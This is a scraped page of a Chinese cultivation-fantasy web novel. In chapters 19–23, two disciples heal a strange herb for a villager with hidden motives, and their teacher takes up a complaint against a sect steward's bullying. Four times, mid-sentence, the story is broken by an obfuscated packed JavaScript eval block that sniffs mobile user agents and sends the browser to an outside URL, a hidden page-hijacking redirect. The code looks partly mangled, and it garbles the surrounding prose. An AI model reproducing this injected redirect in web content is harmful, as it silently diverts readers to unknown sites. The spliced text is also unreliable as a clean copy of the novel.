“我不愿他成天愁眉不展,一直想办法逗他开心,正巧机会来了。李叔跟我许诺,只要帮他救活香草,他就把秘方传给我家,我们两家一起合起伙来做生意。有了新的财路弥补亏空,我爹肯定就高兴起来了,我这真是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042917|178857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一片孝心天地可鉴呀!呜呜呜……” 青禾表面拉着脸,实际听在心里有些动容,可感动了一瞬,又有点怀疑,她回忆了下赴谢家家宴时谢老爹的状态,那一双得意的眉毛都快飞上天了,真的有在难过吗? 她又赶紧自我反思,旧友相逢,可能喜悦压过了痛苦,所以她才没看出来。如果谢老爹真的闷闷不乐,她是该帮好友的忙。 两相纠结下,她在心里偷偷叹口气,江山易改本性难移,她在这里置气也没用,不如平时多看顾着朋友。如果久安骗她,她大不了收拾对方一顿,可万一是真的,她不帮忙,岂不寒了友人一颗赤子之心? 久安一边假声呜呜拿袖子抹着不存在的眼泪,一边偷偷瞄着好友的脸色,见到对方阴晴不定的变化好一阵,神情渐渐软和下来,就知道有戏了。 “走吧,去你家看看,能帮上忙最好,实在不行,还得请师母出山。” 久安瞬间不装了,喜笑颜开拉着青禾的手,“我就知道,青禾你最好了。” 青禾看见好友欢快的笑脸,心里更软,也跟着笑了起来。 按照俗礼,青禾跟着久安一一拜见过长辈才去到李家明的院子。 粗布麻衣的小老头正挽着袖子挥着锄头在院子里菜地忙活,看见两个小姑娘,满脸笑容地迎上去,不停地作揖,“两位小仙人屈尊帮忙,老头子我真是感恩不尽啊!” 两人吓了一跳,赶忙还礼,久安道:“李叔,你太抬举我们了,都是一家人,还请不要这么客气。” 李老汉精神焕发,远没有之前宴席上阴郁猥琐的气息,惹得青禾不断悄悄打量,心有疑惑。 “两位小仙人还没吃完饭吧,老汉惭愧,扰了仙人修行,特意做了一桌拿手好菜,还请赏脸。”李家明点头哈腰,伸手相请。 “李叔,你再这样拿我们当神仙供着,我们可真生气走了!都是一家人,让我爹知道我这么趾高气扬的,非得骂死我!李叔你可别害我!” 几番你来我往的客气推让下,李老汉真的看明白了这两个小姑娘和他以前见到的鼻孔朝天的修士不一样,终于收起了谄媚的模样,转而换了一副慈爱长辈的面孔,连连招呼二人吃喝。 屋内桌上是数道用棉布包着瓷罐保温的菜肴,一一打开,一股令人口舌生津的香味飘散,可见李老汉确实手艺不错,也用了心。 等到小姑娘们吃上,并连连夸赞时,他苦笑着摇摇头:“雕虫小技不值一提。你们再尝尝我做的汤,这是我最拿手的豆腐汤,名唤东珠翡翠羹。” 指头大小雪白圆润的丸子在乳白色的羹汤里沉浮,各类切成丁的深浅不一颜色的菌子配着细长柳叶形的翠绿菜叶,真是好看又好吃。 “李叔,这羹汤真是太好吃了,我还是第一次吃到这么美味的食物。” 李老汉听到这话,适时轻叹了口气,“这还不够,如果能加上我的香草,那真是天上龙肉都不给换的绝味。” 20. 香草 话及正事,两个小姑娘端肃了态度,青禾放下碗,微笑地说道:“李叔,我们也吃得差不多了,不如先让我们俩看看是何模样的香草,竟然如此厉害?” “好好好,老汉我这就把它拿出来,万望两位姑娘救它性命。” 久安抹了抹嘴角的饭渣,偷偷地看了一眼青禾,青禾不动声色,一脸风轻云淡地说道:“不瞒李叔,我未拜师前乃是农户家的女儿,自小为了生计漫山遍野地跑,见过采过数也数不清的草植。说不准也曾见过相似香草,无需仙术也可救治。” “那样就再好不过了,不然为了一株凡草,真要仙人耗费精力,我也不知该如何报答了。”李老汉一脸的深以为然,小心翼翼地从室内端出来一只花盆。 那花盆并不大,李老汉两只手掌恰好捧合盆身,里面黑色的花泥上矗立着一株笔直的、约五寸高的墨绿色小树苗,其上分出三根枝杈,零星分布着小小四片灰绿色的叶子。那叶子好似水分不足似的,皱皱巴巴,无精打采蜷着叶边。 青禾心里一跳,但面上丝毫不显。 说不准最后还得请师母出山,自己可完全没见过这种植物。 久安只瞄了一眼青禾,就知道结果了,她依旧装模作样,和好友一起围着香草仔细研究。 青禾凑近了香草,仔细嗅嗅,没有任何味道,她心里有些纳闷。 不应该啊,凡是做菜提味的香料,自身都会携带浓烈的气味。按李叔说的,这草植能化腐朽为神奇,其自身必定会有令人闻之忘俗的味道。可她凑这么近了,别说香气了,连普通草木气息都没有。如果不是眼看着它长着植物的模样,说它是个石头也行。 李老汉满眼期待地在旁看着。 青禾不死心,她想了想,默念心决,调动功法,将灵力运行到眼部经脉。 视野中的一切事物变得更加清晰,她甚至能模模糊糊捕捉到灵气运行的轨迹。再次看向香草,她终于看到一条纤细得若隐若现的灵脉缠绕在香菜的枝干,其间灵韵涌动,流转不息。 青禾猛地闭上眼,静静等待着眼睛干涸刺灼的痛感退却。 还是修为太低,根骨缺漏只修补了一点,经脉也未全部打通,她强行使用灵目外视,尽管只有一瞬,仍遭到了反噬。不过还好,她看到了关键。 久安在旁看着,也试着模仿青禾的做法,奈何灵力刚灌涌到睛明穴,剧烈的疼痛袭来,她不得不放弃。在心底哀叹后,久安酸溜溜地想:怪不得师母夸赞青禾悟性出众,人比人气死人。随即她又安慰自己:没事没事,青禾越强,我越可以偷懒嘛,光耀师门靠她了,我做个自在逍遥仙! 李家明等待青禾调息正眼后,殷勤问道:“小道长,老汉这香草,还有救吗?” 青禾微笑,一副胸有成竹的模样,她温言解释道:“李叔,我以灵目探查,发现它虽然虚弱萎靡,但自身灵脉并未断绝。草木最忌移动,想来是李叔你带着它长途跋涉,损了根基,才难以恢复。若有修为高深之人以木行灵气灌注,必获新生。” 她面上镇定自若,但心里仍有疑虑,刚刚隐去灵目的瞬间,她感受到一股微不可察的奇怪气息从香草上一闪而过,再要仔细追寻时,却一无所获。 难道这草植有什么问题?或许,是自己感应错了,毕竟在不适宜的时间里强行开眼,身体不适的时候,感官也会出错。 这株香草从王香桂阿嬷那里传了下来,历经十几年时光,真有什么问题,李叔能没注意到吗。 如今普通的照料之法无用,需要使出仙家手段,青禾准备劝李叔求助师母。能指出问题所在,道明方法,也不算落了久安的面子吧? 她还未开口,就听久安抢先一步道:“李叔,你先别急,我和青禾商讨一下救治手法。” 李家明诺诺称是。 久安把青禾拉到一边,正好是小声说话能不被李老汉察觉的距离。她眼睛亮闪闪的,说道:“青禾,我们来帮忙吧。” 青禾扬起一边的眉毛,没有立刻反驳,她知道好友鬼点子最多,肯定又想出什么法子了。 “你还记得之前我们一起练功,我偷懒的时候也喜欢赖在你身边不走吗?” “记得,你不是因为在睡懒觉不想挪屋子吗?” 久安轻轻嘶了口气,有一点忿忿不平:“我承认有时候是这个原因,但不全是这个原因!” 她缓了口气解释道:“每当你吸纳灵气时,在你身边会形成一小片平和舒缓的灵气流,拂在身上非常舒服,一觉睡醒,通体舒泰。” 青禾有些惊讶:“还会这样!” 久安点点头,感叹道:“这就是太勤奋的坏处,你从来没在我修炼的时候休息过,也就不知道。所以我想不如我们在这株病恹恹的香草边上修炼,或许也有这种效果。一株凡草而已,不必惊动师母。” 青禾想了想点点头,这株香草现在看来还没到枯死的地步,她们确实可以尝试。 两人商议好后,青禾走向坐在桌边忐忑等待的李老汉道:“李叔,不知可否让我俩把这盆香草带到道观进行救治?” 李家明有些犹豫,他双手抱拳向两个小姑娘深深鞠了一躬,略带哭腔道:“两位小道长行的是仁义道,不辞辛苦来帮忙,按理说老汉我应当全力配合,不该有任何推脱。只是我实在也要脸面啊!” 他呜呜地哭了出来,不停地用袖子擦着眼睛。 “几十年前,我年轻气盛,又有娘的爱护,竟养成了不知天高地厚的性子。说来惭愧,那时娘敬重观主,时常与正明观走动,我却误解观主,以为观主觊觎我娘的绝艺,意图揽财,时常出言不逊。临走时,又大言不惭,叫嚣自此脱离魔窟。” “还好观主心胸宽广,不跟我计较。只是树要皮,人要脸,多年来幡然醒悟,再也不敢面见观主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042918|178857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。如今小道长要带香草回道观,若被观主有一丝察觉,即便她肯原谅我,我也羞愧难当啊!” 青禾见他两只衣袖都湿了,哭得不能自已,赶忙退步。 “李叔莫要哭了,既然有这原由,我们就不带回去了。这几天我们晚上赶过来帮忙救治好了。” 她又劝解道:“李叔,心结需解,毕竟你之后要长留村子。不如找个机会向师母当面致歉?这么多年过去了,言语失措而已,你诚心求谅解,她定然不会怪你的。” 李家明连连点头:“小道长指点的是,我想着恢复了手艺,做上整整一席面的拿手好菜,才能看出我诚心悔改。” 事情已定,青禾她们不再耽搁,当即抱着香草来到屋外的院子处。此时风清月明,正是集月华修炼的好时机。两人请李家明回屋不要轻易出来打扰,坐在院子中央没有遮挡的地方,将香草放在两人之间,开始盘膝练功。 神思入体,感受灵力周天轮回流转,时间过得飞速,倏忽间,一个时辰转眼即过。青禾检查了下香草,原本卷曲的叶子似乎比原先舒展了些许,看来即使没有灵力直接灌入,香草也恢复了些许。 李家明很是激动,又开始对着两个小姑娘连连鞠躬,让青禾和久安很无措。 约定了接下来几天治疗的时间,两个小姑娘便脚步轻快地离开了。 李老汉神情感激地望着两人离开的方向,直至她们彻底消失在视线之中,才忽然变脸,满脸冷漠地转身回到了屋子里。 香草被他放在桌子上,他坐在一旁沉默不语,良久才向对着空气讲话似的,问了一句:“你看如何?” 苍老疲惫的女声缥缈出现,“两个娃娃的方法确实有用,咳咳咳,只是想要它恢复如初,仅仅靠着这个办法也不行。已经伤到它的根基了,还需有修为在入道以上的高手才行。” 李家明面色阴沉,“总不能让我找妙清,万一被她看出破绽怎么办?” 他来回踱步,暴躁而急切。 “等等等,就是等,我哪有那么多时间!你看那曾家的恶心嘴脸,三番两次遇见,先是对我假惺惺的问好,又装模作样地追问我的近况,最后还要要向我请教。我呸!还不是担心我夺了她们在谢家的位置!” “谢三求也是个没心肝的!头两天到对我热情,看到我没用,就对我不管不问了!枉我娘当初对他的恩义!也不是个东西!” 深呼吸几次,他总算勉强抑制住了想要摔打东西的狂暴情绪,恨声冲耳房问道:“从谢家拿来的草药你不是吃了吗,效果怎么样?” 女声开始畏畏缩缩,轻颤着说道:“没,没好太多……” “废物!废物!废物!” 暴戾的气息在灰暗的房间弥漫,整个空间只能听到剧烈急促的喘息声。 良久,李家明闭着眼睛问道:“没了法术,手脚总能动吧。你得出来帮我。” 21. 曾真 连着几天带着香草练功,这株一开始半死不活的植物终于看起来有了一点生气,两个小姑娘开心坏了。久安想着自己一时虚荣心起,夸口许下了诺言,现下总算没有失信,卸下了心中一块石头。青禾则是终于用了一次仙家手段帮助乡亲,觉得自己学以致用,非常令她振奋。 妙清看到两个小弟子精神百倍的神态,心中也欣喜,想着最近两人在静室鬼鬼祟祟,一副生怕她看见的模样,默默在猜度着二者是否有关联,但也没有主动追问。 倒是青禾看见师母在一旁笑眯眯地看着两人不说话、不追问,有些不好意思了。 师母平日里事无巨细地教导自己,本该是亲密无间似师徒似母女的关系,如今自己却藏着个秘密不说,夜半无人时,师母可会伤心? 而且,她思绪停顿了下,心底小小的疑惑浮现水面。总觉得那日李叔的表现有些浮夸?若像他所说当年只是龃龉之争,至于如此悔不当初以至于在小辈面前嚎啕不止吗? 她曾私底下跟久安提起疑惑,那姑娘满不在乎地回答:“一朝从富贵乡落到泥泞地,心态失衡了吧。要不就是他爱演,可能想博取别人同情?" 青禾说不上来哪里的怪异,只是先前想着受人所托忠人之事,没仔细琢磨,如今事情进展顺利,她也可以放心下来想七想八了。 唉,我怎么又陷入自我揣测的怪圈了,明明去寻仙缘的时候,事有蹊跷却不禀报长辈,吃了这一亏,现在又要重蹈覆辙吗?师者如母,是我在这世界最亲近的人之一,我为何要瞒她? 青禾暗暗责怪自己,心里又想,不是我不守诺言,亲疏有别,我发现了怪异之处定要禀报师长,若真有不当之处,师母迅速处置了,对双方都有益处。何况李叔早有道歉的意思,我帮他做个铺垫吧。 于是她寻着三人都在的时刻,将这件事向妙清原原本本地讲了出来。 久安吓得原地蹦起来,立马想要逃走,被妙清一个似笑非笑地眼神定住了。她满脸尴尬地冲着妙清笑,得到了一个抄写十遍清心经的惩罚。 妙清假装自己人老耳背听不到久安大声的哀叹,青禾则是一副我问心无愧的神情迎接好友的魔音灌耳。 久安见到撒泼的招式没对任何人起作用,也只得悻悻收功。 “李家明这人,当年我其实接触不多。初识见面,只觉得是个内向有点自卑的孩子,村里人认为他木讷老实。可后来,自从香桂做出一手豆腐绝活后,这小子就开始一副狂傲自负目中无人的模样。但被他母亲教育几次后,就收敛了些。像他所说的言语唐突……"妙清仔细回忆了一下,无奈笑道:“都是微不足道的小事情,我都记不太清了,不知道他怎么会如此在意。" 青禾又将自己治疗香草时感受到的奇怪之处向师母一一道来,妙清先没有理会香草,而是详细问询了弟子开灵目的过程。 青禾有些不好意思,“对不起,师母,我有些莽撞了,眼部经脉还未打通,情急之下逞强,让你担心了。” 妙清检查后见青禾确实没有大碍,笑着摇头说:“不必向我道歉,修炼一途,哪里来的永远的一帆风顺。情势所逼之下的挑战也是对自我的考验,顺利事成是奖励,留有祸患是经验。青禾你很不错,你这一情急可省了五六天的修炼,但万不可尝到甜头就走捷径,这次能成功有七成的原因是你平时勤练不怠。” 她又看了看一旁看天看地就是不看自己的谢久安,小姑娘局促又紧张生怕又被师长点名批评。妙清心想先前自己已罚过久安了,一味地打击孩子不利于成长。于是她温和地道:“久安虽然没那么用功,但心思缜密,能在休憩的时候注意到旁人忽视的细节,也很不错。” 久安睁大了眼睛,完全没想到自己偷懒还能被夸,她看着青禾也肯定地冲她点点头,一时间被罚抄经的那一点点小小怨气倏忽蒸腾消散。 她开心地笑眯了眼睛,一副牛气冲冲的模样,“嘿嘿,本道长法术不灵可脑子灵。师母你放心,我一定……呃,好吧,是努力改掉吹牛皮爱炫耀的毛病!” 江山易改本性难移,妙清表示弟子的话她只信一成。 “唉,人老了记性也差,我回去翻翻书翻翻笔记,你们说的这香草,我好像有印象又好像没印象。不过你们只是在它旁边练功,让它沐浴灵韵,对你们没什么坏处。” 讨论完毕,三人正准备散了,却听见道观门口有人声传来。 “观主?观主在家吗?曾真有事求见。” 包着深红底白花纹头巾的中年妇人笑着从挎篮里拿出一块用红布包着整整齐齐的一方块说:“观主,您瞧,这是我丈夫前两天探望亲戚时带回来的茶叶,我想着我们这一家粗人,哪里会懂得品茶,不如带给懂茶爱茶之人。所以今天呀就特意给您带来了。” 她用茶锤小心地从平整坚硬的茶砖上敲下一撮,放进烧得滚烫的红泥小茶壶里,一股沁人心脾的清香霎时飘散出来。 师徒三人俱是享受地品味了一下茶香,随后不用妙清示意,青禾和久安就将几个人面前的茶杯倒上清茶, 曾大娘赶忙不好意思地推却,“怎能让小道长辛苦,我来我来。” “乡里乡亲的,哪有长辈给小辈端茶倒水的?”妙清道。 曾真听了大加赞许:“不愧是咱正明观的娃娃,本领强又谦虚能干,可不像那外面不知名的野道,学了点本事就蛮横无理,欺凌弱小。” 说着说着,她伤心地掉了眼泪。 妙清将一块手帕递给她,慢声劝慰道:“曾娘子,莫要着急,发生了什么事,说出来我看看能不能帮你?” 曾真很快收拾好情绪,她双眼通红不还意思地冲师徒三人笑了笑:“事情还要从我丈夫说起。” 曾真娘子的丈夫是赘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042919|178857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婿,他不是四季山下这几个村子的人,是连山镇人士,机缘巧合下与进镇子采购的曾真相遇,互生情愫,结为夫妻。 曾大叔幼年时父母双亡,叔伯不慈,是靠姨母拉扯长大。可姨母也身不由己,顶着压力给他口饭吃已经是极限,之后娶妻生子再给不了支持了。所以他在遇到曾娘子后,干脆入赘了。 曾大叔叔伯家不管他幼年死活,眼见成人了,有一把子力气,不是只会吃饭的年纪,还找了个能干的妻子,就开始明着暗着耍大家长的威风。宗族不怜幼童孤苦伶仃,反而像水蛭般四处吸血,甚至看上了曾娘子的手艺,想要据为己有。曾大叔不愿意,与族人翻脸。本想着都不住在一处,有什么矛盾躲着就是了,都是普通人,闹不出什么水花。 可谁想到对方竟然走了狗屎运,族中一位弟子进了一个名叫潮生门的修仙门派当了管事,与仙家扯上了关系。宰相门前七品官,区区一个管事在修道人眼中屁也不是,可在普通百姓中却能勾连出说不尽的好处。 前几天曾大叔去探望姨母时,正巧遇上那名管事,那管事借口教训族中不肖子弟,打伤了曾大叔。 无人敢为其打抱不平。 后来曾大叔在镇上医馆躺了一天,不想给姨母惹麻烦,勉强能起身了,就赶忙回来了。 “本来想着就这么忍气吞声算了,惹不起总还躲得起吧。”曾娘子哽咽着声音道,“可没想到杀千刀的贼子竟不肯放过我家!那日他命人将我丈夫打倒在地,口口声声叫嚣他不仅人能扳倒,还要让我们家业从此一蹶不振。我们原来只当他放狠话,可没想到,自从我夫回家,田里才种下的春种被翻出踩碎,家里的香料罐子一一淋水倾倒再也不能用,昨天更过分了,连家里养的鸡都被咬死了!” “这样下去,别说做生意了,连日子都没法过下去了!” “会不会是村里有人眼红曾大娘你的生意,故意捣乱?”青禾试着猜测。 “我当年刚起家的时候,确实有过别人来找事,被我一一料理后,大家也都和和气气的,再也没找过事。”曾真仔细解释道,“若说家里进了普通贼人,哪能不偷财物,只管祸祸我那些做菜用的香料。他哪能精准知道我这一身的本事都靠着灶台上不起眼的调料。还有我养的鸡,我夫细心能干,鸡窝围栏造得很结实,从来没有进过黄鼠狼。” “但是昨晚我听到鸡窝有异响,急忙出来查看,就看见一个小孩样的黑影子一闪而过消失不见。我再一查看,鸡窝围栏无恙,窝里却是一地血水!” “哪有这样的怪事?定是那贼人派手下偷偷跟踪我夫回家,使了什么鬼蜮之术搞破坏,想坏我生意,报复当年我不肯将手艺交出来的事情!” “涉及到仙门之事,村长不敢自专,只得过来求助观主您了!” “求您为我做主,怎敢有人仗着仙门之威平白无故欺凌百姓!” 22. 任务 “曾娘子快快起来。”妙清将跪拜在地上哭泣的曾真扶起来,温声安抚:“娘子莫急,若真有仙门败类狐假虎威残害平民,我妙清定然不会袖手旁观。” “令夫如今身体怎样了,需要我去探望吗?”妙清关心道。 “多谢观主关心,他如今虽然还得卧床,但我瞧着这几天吃着镇上大夫开的药,渐渐好转了。”曾真好不容易止住哭泣,慢慢地用袖子擦着眼角。 “精神如何,夜间睡得好吗,有怔忪不语的情况吗?日间是否言行如常,有怪异之处吗?”妙清连声发问,“娘子莫要着急回答,仔细想想。” 曾真垂首细思,良久才肯定地摇摇头:“刚开始因为伤口疼痛翻来覆去睡不着,后几日习惯了,倒也勉强睡下,至于怪异之处都没有,只偶尔哀叹,也是寻常受挫折的模样。” 妙清又向曾真要了药方来看,才道:“先前听曾娘子诉说家中情况,让我想起了三十六行外道中巫蛊道的手法。” “其中有一蛊术名为离人蛊,以阴沉木为主材料做蛊术载体,捣练成符纸后,裁剪成人型,将其浸润足受蛊人血气,形成蛊灵,便可随蛊师心意施展法力。” “师母是怀疑那恶人借着打伤曾大叔的机会豢养蛊灵?”青禾问道。 妙清点点头,“听到曾娘子所说在夜晚看到过矮小人型一闪而过,鸡群又惨死,这确实很像蛊灵的习性。它由血气生养,若由心术不正者教唆,更增邪性,喜好杀戮。我曾想着是否是它附在曾娘子丈夫的身上回村,又因蛊师修为低下,无法杀人,只能搞破坏或者屠杀低智生灵。” “但师母又了解曾大叔身上并无异样,凡被蛊灵附身者,皆有神思恍然,夜不能寐的症状。所以并非巫蛊之祸。”青禾总结道。 妙清笑着点点头,满意地夸奖道:“不错,看来青禾你不仅勤奋练功,日常我指点你们需要了解的书籍,你也下了功夫。” 看到师母夸奖完好友,有意无意地瞄了自己一眼,听两人讲解听得几乎入迷的久安瞬间回神,一本正经道:“此乃《外道小解》中第一百二十八篇巫蛊道里的知识,弟子虽没有青禾看书看得快,但也有大略了解。” 看到师母再次满意地点点头,她在心里吁了口气,好险,差点露馅了,好在自己运气不错,昨晚随手翻书,正好翻到这一篇,顺便记住了。 曾娘子看到正明观众人都如此博学多智,心下更放心了,满眼期待地问:“那观主的意思?” “曾娘子安心,你的敌人并不强大。” 曾真满怀忐忑仔细听着妙清观主的解释。 夏朝延续至今已度过了八百七十六载春秋,其中经历数不清的天灾妖祸,仙门数次出手相救,渐渐地从仙凡不通的状态演变成如今仙凡混杂。仙门与凡人朝廷几度冰火两重天的交集后,达成共识。凡间依旧由凡人朝廷做主宰,仙门从旁辅助,听调不听宣。 上至皇族贵胄,下至平民百姓皆可随缘求仙,任何人不得阻拦。修道者入仙牒,会受仙门及神御司严厉制约。若有天缘点化,未受任意仙门教导的修道者,一经引灵入体需即刻禀报户籍所在地的御极关或仙门,违令者一律视为意图祸乱世间的邪魔妖道,仙凡共诛之。 “潮生门极爱护门下弟子,除却神御司调遣,不愿让他们因俗事分心,扰乱修炼,只愿招凡人协助。所以你的那位仇人既然是管事而非仙门弟子,就定然不会法术。顶多因为职位之便,交好门外一二修道者,借由他人施法相助。” “他因自身地位所限,交好者修为不会越过入道,而普通修道者受严厉管辖,即使是三十六行外道这等桀骜不驯者,也不会随意沾染凡人因果。所以,曾家性命无忧。” “不过,这般扰人生计也令人厌恶,仗势欺人者也该受到教训。与其猜测对方究竟用何手段,不如直捣黄龙。” “我在潮生门也有故交,我遣门下弟子前去拜会,将此事缘由说明,定还曾娘子一个公道。”妙清坚定说道。 她从袖袋里拿出四张符纸递给曾真,“你回家后,将它们分别贴在东南西北四方位的外墙上,可保你家一月余的安宁时光。等到符纸失效时,想必事情也有了结果。” 送走了访客,妙清向两个弟子招了招手。 两个小姑娘满眼兴奋地蹦了过来。 妙清好笑道:“就这么开心?” “那当然啦,这可是我们第一次领任务啊,还要和其他仙门打交道。这在我看的话本里,就是主角飞黄腾达的开始!”久安双手抱拳在胸口,满眼星星。 青禾同样涨红着小脸,见师母看过来羞涩一笑,但还是大大方方地说:“弟子甚少出门,我看《四方志》里记载,潮生门原本是东南境内赫赫有名的修仙大派,一百年前,不知是何原因,洗金莲以上修为的修士接连在弱水探幽途中身殒,导致门派元气大伤,不得不将门派迁移出竞争激烈的灵泉宝地,在青牛镇附近上安了家。” “虽然已经没落百年,但瘦死的骆驼比马大,我们去拜山门一定能涨不少见识。”小姑娘笑着打趣道。 “你们啊……”妙清无奈地摇摇头,“真是初生牛犊不怕虎。” “既然这么喜欢看话本,应当知道很多时候最简单的任务里有可能隐藏最危险的事情。” 久安故作深沉:“静水流深,唉。” 青禾向妙清鞠了一躬,保证道:“师母放心,我们不会兴奋到失了理智,出门在外一定谨言慎行。” 妙清点点头,又道:“衔令使本该近几日就到,不知因何原因姗姗来迟。我那故友是个消息灵通的,你们交代完事情,记得问一问。今天下午就不拘着你们练功了,回家收拾东西禀告父母,这出一趟门至少三日方回。明早出发前记得来观里一趟,我给你们准备路引还有些护身符纸。” “还有符纸!?”两个小姑娘异口同声地惊叹道。 “当然了,虽然你们经过修炼已不是普通孩童,寻常人等抓不住你们,倒不怕什么拍花子。但终究第一次历练,带些符纸有备无患。唉,这可是师母平日里一点一滴攒下灵力制作的符纸,你们可得珍惜。” 青禾回到房间,将道袍打包,赶路不易,不能穿着好衣服糟蹋,一身短打利利索索出门就够了,等到拜访潮生门的时候在换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042920|178857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。 她摸了摸一直挂在脖颈处的蛇鳞,温凉如水。 不知道自己什么时候能入道,再次见到柳君呢? 将柳君赠送的书册也装进包袱里,这书册师母也没看出来头,师母的故友既然消息灵通,说不定能帮她解惑。 说实话她有时候想是不是柳君拿错了,她曾试着解开草绳,可绳子系的死死的,连剪刀也无法对它造成伤害。她又不敢尝试其他办法,生怕毁坏了书册。师母安慰她,也许是缘分未到,耐心等候即可。是你的终究是你的,不是你的也强求不来。 回村子时,恰巧碰见了周大娘,她打了声招呼,对方一愣。 “这位,这位小娘子,竟然认识我吗?” 青禾看着周大娘满脸疑惑试探,才想起来,这大半月来自己披星戴月早出晚归,甚少见村民邻居。自己模样因修炼起来大变化,看起来不再是营养不良的干瘪小丫头,对方确实难以认出。 她笑着再次出声:“阿婶,是我呀,青禾。” 周大娘震惊地看着面前这个肌肤莹润有光,身形高挑健壮的女孩,不可置信地大声嚷嚷起来:“天哪,竟然是青禾丫头!我的妈呀!这才多久,你整个人都大变样了,我还以为你是镇上哪家富户小姐,回来探亲哪!” 她的喊声很快吸引了一群七大姑八大姨,人群沸腾起来,嗡嗡声不断,时不时传来对她的惊叹和赞扬! 青禾从一开始的害羞高兴渐渐变成麻木尴尬,对着一群热情的相亲们脸都笑僵了。 周大娘终于冷静下来,理智恢复了,她看出青禾的窘态,把她从人群里拯救出来。一边提高嗓门疏散邻里,一边抓着青禾赶紧往家跑去。 “青禾,我知道你这次这么早回家肯定有事,我呀就不耽误你时间啦。你腿脚也快点,可别又被乡亲们围住了。”周大娘满眼复杂艳羡地看着这个自己从小看到大的小姑娘,在心里默默叹息,现在她才真实感觉到了两家的差距就此拉开,除非她家小子也能得了仙缘,不然是再也配不上青禾丫头了。 不过也好,青禾是个好姑娘,若将来她能继承妙清观主衣钵,照拂村子,她们呀也能够继续快快乐乐地过自己的小日子。 愿上天保佑这个小丫头顺顺利利成长起来吧。 青禾不敢停歇,一口气地跑回家里。 刚进院门就听见弟弟妹妹咯咯咯的笑声从房子里传出来,她蹑手蹑脚地走进屋子探头一看,发现两人正在炕上玩一套泥偶。 两个小孩不再是之前常年吃不饱枯瘦蜡黄的模样,虽然比不上他们姐姐模样变化得大,两张小脸也渐渐饱满起来,红扑扑的让青禾心里发软。 他们的玩具也从以前地里捡的枯枝石子变成了货郎担子里涂着不同颜料的小泥人。 青禾静静地靠在门边看着两个孩子玩得满头大汗,呼吸间是尚有余温的炉灶里飘来的一股股杂面馒头的香气。 真好,青禾默默地想着,这就是她修仙最初的目标,家人得以安乐。 那么接下来呢? 她要将这安乐不断扩大,从一家到一村,再到一城一国,一天下。 23. 赵不言 “青鸟衔诏,素简垂天。 万障辟易,一令通玄。 相传,在人神共存的时代,天下群仙皆由居于昆仑山瑶池的西王母统领。她以青鸟为信使,令传八方,威震天下。后来建木倒塌,仙凡两界自此分隔,再难相通。王母亦遵从天命召唤,离开人间昆仑山去往神界安居。 她离开前,为保凡间秩序稳定,特设神御司,命曜魄、帝车、辰勾三族轮流统率。 彼时,凡间众生灵以部落、族群划分彼此,灵、人、妖混居。此三族为当世最强,难分高下。……” 赵不言合上手中书籍,靠在躺椅上望天,手指轻轻摩挲着泛黄的封皮,在笔力遒劲的四个大字《山河前传》上打转。 小小的四方院困着小小的四方天,一只麻雀倏然飞过。 “啪嗒”,一条小青虫掉落,赵不言看了看无痕迹的天空,又看了看地上扭动挣扎的小虫,歪头笑道:“麻雀衔诏。”接着伸出手指轻轻一点,霎时,空中出现了一星点花火炸开。 火光隐约,燃烧过的痕迹让静默的天空产生了一丝变化,白色烟雾状的尾巴缓慢扩大。 “素简垂天……”赵不言念叨着,看着眼前扭曲成文字的烟雾,调皮地站起来鞠了鞠躬,道:“微臣接旨。” 做完这一切,她乐不可支地倒回躺椅,嘎吱嘎吱声不断回荡在小院里。 “一定神御司,二选三族立,四开太平世,五现太虚仙,六荡山河志,七死神鬼泣,八与凡人誓,九辟御极关,十方归宁安。” 赵不言轻哼着耳熟能详的童谣,享受着无事一身轻的悠闲。 “啧啧啧,咱们青府御极关第一大闲人的生活真是令人羡慕啊!” 院门处走来一个穿着灰色道袍的男人。 衣领松垮,能看到里面洗旧泛黄的白色软褡,双手揣袖,长长的广袖几欲拖地也毫不在乎,姿态松弛又懒散。 